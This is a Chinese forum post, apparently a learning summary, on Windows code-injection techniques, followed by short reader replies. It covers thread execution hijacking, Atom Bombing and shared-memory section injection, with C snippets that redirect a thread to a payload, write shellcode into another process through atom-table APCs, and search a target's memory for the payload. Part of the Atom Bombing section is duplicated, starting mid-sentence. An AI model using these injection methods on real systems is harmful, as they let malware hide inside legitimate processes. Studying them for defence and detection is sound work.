线程执行劫持技术和傀儡进程技术相似,傀儡进程替换的是整个进程而线程执行劫持替换的只是某一个线程。
线程执行劫持也需要先在RWX内存中写入payload,写入完毕后直接将线程执行地址替换为payload地址就行了:

1
2
3
4
5
6
7
HANDLE t = OpenThread(THREAD_SET_CONTEXT, FALSE, thread_id);//打开线程
SuspendThread(t);//挂起线程
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_CONTROL;
ctx.Rip = (DWORD64)payload;//设置线程新的执行地址
SetThreadContext(t, &ctx);
ResumeThread(t);//唤醒线程

Atom Bombing

1、Atom Table

是一个存储字符串和相应标识符的系统定义表

 

应用程序将一个字符串放入一个 Atom 表中,并接收一个 16 位整数 (WORD) 作为标识 (称为 Atom),可通过该标识访问字符串内容,实现进程间的数据交换

分类:

(1) Global Atom Table

 

所有应用程序可用

 

当一个进程将一个字符串保存到 Global Atom Table 时,系统生成一个在系统范围内唯一的 atom,来标示该字符串。在系统范围之内所有的进程都可以通过该 atom(索引) 来获得这个字符串,从而实现进程间的数据交换

 

(2) Local Atom Table

 

只有当前程序可用,相当于定义一个全局变量,如果程序多次使用该变量,使用 Local Atom Table 仅需要一次内存操作

常用 API:

添加一个 Global Atom:

1
ATOM WINAPI GlobalAddAtom(In LPCTSTR lpString);

删除一个 Global Atom:

1
ATOM WINAPI GlobalDeleteAtom(In ATOM nAtom);

查找指定字符串对应的 Global Atom:

1
ATOM WINAPI GlobalFindAtom(In LPCTSTR lpString);

获取指定 atom 对应的字符串:

1
2
3
4
5
UINT WINAPI GlobalGetAtomName(
  In  ATOM   nAtom,
  Out LPTSTR lpBuffer,
  In  int    nSize
);

Atom Bombing注入

1、将任意数据写入目标进程地址空间中的任意位置

整体思路:

 

使用GlobalAddAtom创建一个原子,写入不含null的字符串,让目标进程调用GlobalGetAtomNameA就可以向目标进程任意地址写入任意代码了。

 

细节:

 

自身进程通过 GlobalAddAtom 将 shellcode 添加到 Global Atom Table 中

 

通过 APC 注入(使用APC中的NtQueueApcThread函数另目标进程调用GlobalGetAtomNameA。使用NtQueueApcThread而不是QueueUserAPC是因为 GlobalGetAtomNameA有三个参数,NtQueueApcThread能传递三个参数而QueueUserAPC只能传递一个参数),使目标进程调用 GlobalGetAtomName, 即可从 Global Atom Table 中获取 shellcode

 

总结:

 

通过GlobalAddAtom函数把数据放到原子表,

 

用APC在目标线程用GlobalGetAtomName把原子表里的数据放到远程内存地址里

1
2
3
4
5
6
HANDLE th = OpenThread(THREAD_SET_CONTEXT | THREAD_QUERY_INFORMATION, FALSE,thread_id);
    for (char* pos = payload; pos < (payload + sizeof(payload)); pos += strlen(pos) + 1){
        ATOM a = GlobalAddAtomA(pos);// 添加全局原子
        DWORD64 offset = pos - payload;
        ntdll!NtQueueApcThread(th, GlobalGetAtomNameA, (PVOID)a,(PVOID)(((DWORD64)target_payload) + offset), (PVOID)(strlen(pos) + 1));// 向目标逐字节写入payload
    }

2.执行 shellcode

目标进程调用 GlobalGetAtomName 从 Global Atom Table 中获取 shellcode 后,需要先保存 shellcode 再执行

 

找到一段 RW 的内存( KERNELBASE 数据段后未使用的空间)写入数据,构造 ROP 链实现 shellcode 的执行

 

ROP 链实现了以下功能:

  1. 申请 RWX 内存
  2. 将 shellcode 从 RW 内存处拷贝到 RWX 内存储
  3. 执行

注入后需要恢复目标进程的执行

 

Windows 8.1 update 3 和 Windows 10 添加了一个新的保护机制 CFG

 

参数,NtQueueApcThread能传递三个参数而QueueUserAPC只能传递一个参数),使目标进程调用 GlobalGetAtomName, 即可从 Global Atom Table 中获取 shellcode

 

总结:

 

通过GlobalAddAtom函数把数据放到原子表,

 

用APC在目标线程用GlobalGetAtomName把原子表里的数据放到远程内存地址里

1
2
3
4
5
6
HANDLE th = OpenThread(THREAD_SET_CONTEXT | THREAD_QUERY_INFORMATION, FALSE,thread_id);
    for (char* pos = payload; pos < (payload + sizeof(payload)); pos += strlen(pos) + 1){
        ATOM a = GlobalAddAtomA(pos);// 添加全局原子
        DWORD64 offset = pos - payload;
        ntdll!NtQueueApcThread(th, GlobalGetAtomNameA, (PVOID)a,(PVOID)(((DWORD64)target_payload) + offset), (PVOID)(strlen(pos) + 1));// 向目标逐字节写入payload
    }

2.执行 shellcode

目标进程调用 GlobalGetAtomName 从 Global Atom Table 中获取 shellcode 后,需要先保存 shellcode 再执行

 

找到一段 RW 的内存( KERNELBASE 数据段后未使用的空间)写入数据,构造 ROP 链实现 shellcode 的执行

 

ROP 链实现了以下功能:

  1. 申请 RWX 内存
  2. 将 shellcode 从 RW 内存处拷贝到 RWX 内存储
  3. 执行

注入后需要恢复目标进程的执行

 

Windows 8.1 update 3 和 Windows 10 添加了一个新的保护机制 CFG

利用内存映射文件实现注入

内存映射文件,是由一个文件到一块内存的映射。Win32提供了允许应用程序把文件映射到一个进程的函数
(CreateFileMapping)。内存映射文件与虚拟内存有些类似,通过内存映射文件可以保留一个地址空间的区域,同时将物理存储器提交给此区域,内存文件映射的物理存储器来自一个已经存在于磁盘上的文件,而且在对该文件进行操作之前必须首先对文件进行映射。使用内存映射文件处理存储于磁盘上的文件时,将不必再对文件执行I/O操作,使得内存映射文件在处理大数据量的文件时能起到相当重要的作用。

 

在Windows下,创建操作共享内存的API主要有CreateFileMapping、MapViewOfFile、OpenFileMapping、FlushViewOfFile、UnmapViewOfFile等

 

利用目标进程共享内存进行注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
//打开共享内存
HANDLE hm = OpenFileMapping(FILE_MAP_ALL_ACCESS, FALSE, section_name);
BYTE* buf = (BYTE*)MapViewOfFile(hm, FILE_MAP_ALL_ACCESS, 0, 0, section_size);
//写入payload
memcpy(buf + section_size - sizeof(payload), payload, sizeof(payload));
//打开目标进程
HANDLE h = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, process_id);char* read_buf = new char[sizeof(payload)];SIZE_T region_size;
//在目标进程中遍历搜索payload地址
for (DWORD64 address = 0; address < 0x00007fffffff0000ull; address += region_size)
{
    MEMORY_BASIC_INFORMATION mem;
    SIZE_T buffer_size = VirtualQueryEx(h, (LPCVOID)address, &mem,sizeof(mem));//查询地址空间中内存地址的信息
    if ((mem.Type == MEM_MAPPED) && (mem.State == MEM_COMMIT) && (mem.Protect== PAGE_READWRITE) && (mem.RegionSize == section_size))
    {
        ReadProcessMemory(h, (LPCVOID)(address + section_sizesizeof(payload)), read_buf, sizeof(payload), NULL);
        if (memcmp(read_buf, payload, sizeof(payload)) == 0)
        {
            // the payload is at address + section_size - sizeof(payload);
            
                break;
        }
    }
    region_size = mem.RegionSize;
}

创建共享内存进行注入

 

首先,使用CreateProcess创建挂起进程
利用了内存映射文件的原理,那么内存映射的一套的流程也基本都用到了,CreateFileMapping创建共享内存的内存映射对象
MapViewOfFile得到该内存空间的映射地址
RtlMoveMemory将shellcode与PE文件信息拷贝到内存映射对象中
ZwMapViewOfSection将内存映射对象与挂起目标进程关联在一起,这样目标进程中就存在了shellcode与PE文件
ZwQueryInformationThread获取目标进程主线程的入口地址
CreateRemoteThread创建一个主线程
最后使用QueueUserAPC向创建的主线程插入一个APC执行shellcode装载随后的PE文件
恢复执行

 

!!!!所有代码均不是原创,此文只是学习过程进行总结!!!!
https://github.com/BreakingMalwareResearch/atom-bombing
https://github.com/BreakingMalware/PowerLoaderEx


[培训] 优秀毕业生寄语:恭喜id咸鱼炒白菜拿到远超3W月薪的offer,《安卓高级研修班》火热招生!!!

最后于 2021-9-17 20:26 被pyikaaaa编辑 ,原因: 添加数据
收藏
点赞13
打赏
分享
最新回复 (11)
雪    币: 2099
活跃值: 活跃值 (1108)
能力值: ( LV5,RANK:75 )
在线值:
发帖
回帖
粉丝
tobeabel 活跃值 1 2021-9-17 21:13
2
0
正好在学习就来了
雪    币: 314
活跃值: 活跃值 (337)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
院士 活跃值 2021-9-18 08:04
3
0
学习了,感谢分享。
雪    币: 1724
活跃值: 活跃值 (770)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
pxhb 活跃值 2 2021-9-18 10:29
4
0
收藏,目前见过最全面的
雪    币: 1724
活跃值: 活跃值 (770)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
pxhb 活跃值 2 2021-9-18 10:53
5
0
收藏,目前见过最全面的
雪    币: 1563
活跃值: 活跃值 (416)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
miaostart 活跃值 2021-9-19 10:23
6
0
很专业的分析,感谢分享!
雪    币: 308
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
mb_yajtrjte 活跃值 2021-9-20 20:27
7
0
有完整的DEMO就更好了。
雪    币: 3835
活跃值: 活跃值 (1666)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
KingSelyF 活跃值 1 2021-9-24 11:08
8
0
很强
雪    币: 0
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
mb_cjahotjt 活跃值 2021-9-24 15:38
9
0
谁帮忙逆向一个软件,有偿有的联系QQ3025796188
雪    币: 2
活跃值: 活跃值 (39)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
s木头 活跃值 2021-9-27 11:52
10
0
简直不要太牛逼。。            。
雪    币: 223
活跃值: 活跃值 (651)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
kakasasa 活跃值 2021-9-27 16:38
11
0
mark
雪    币: 0
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
mb_plkoupkf 活跃值 2021-9-28 17:15
12
0
可以交流一下吗 Q852056282
游客
登录 | 注册 方可回帖
返回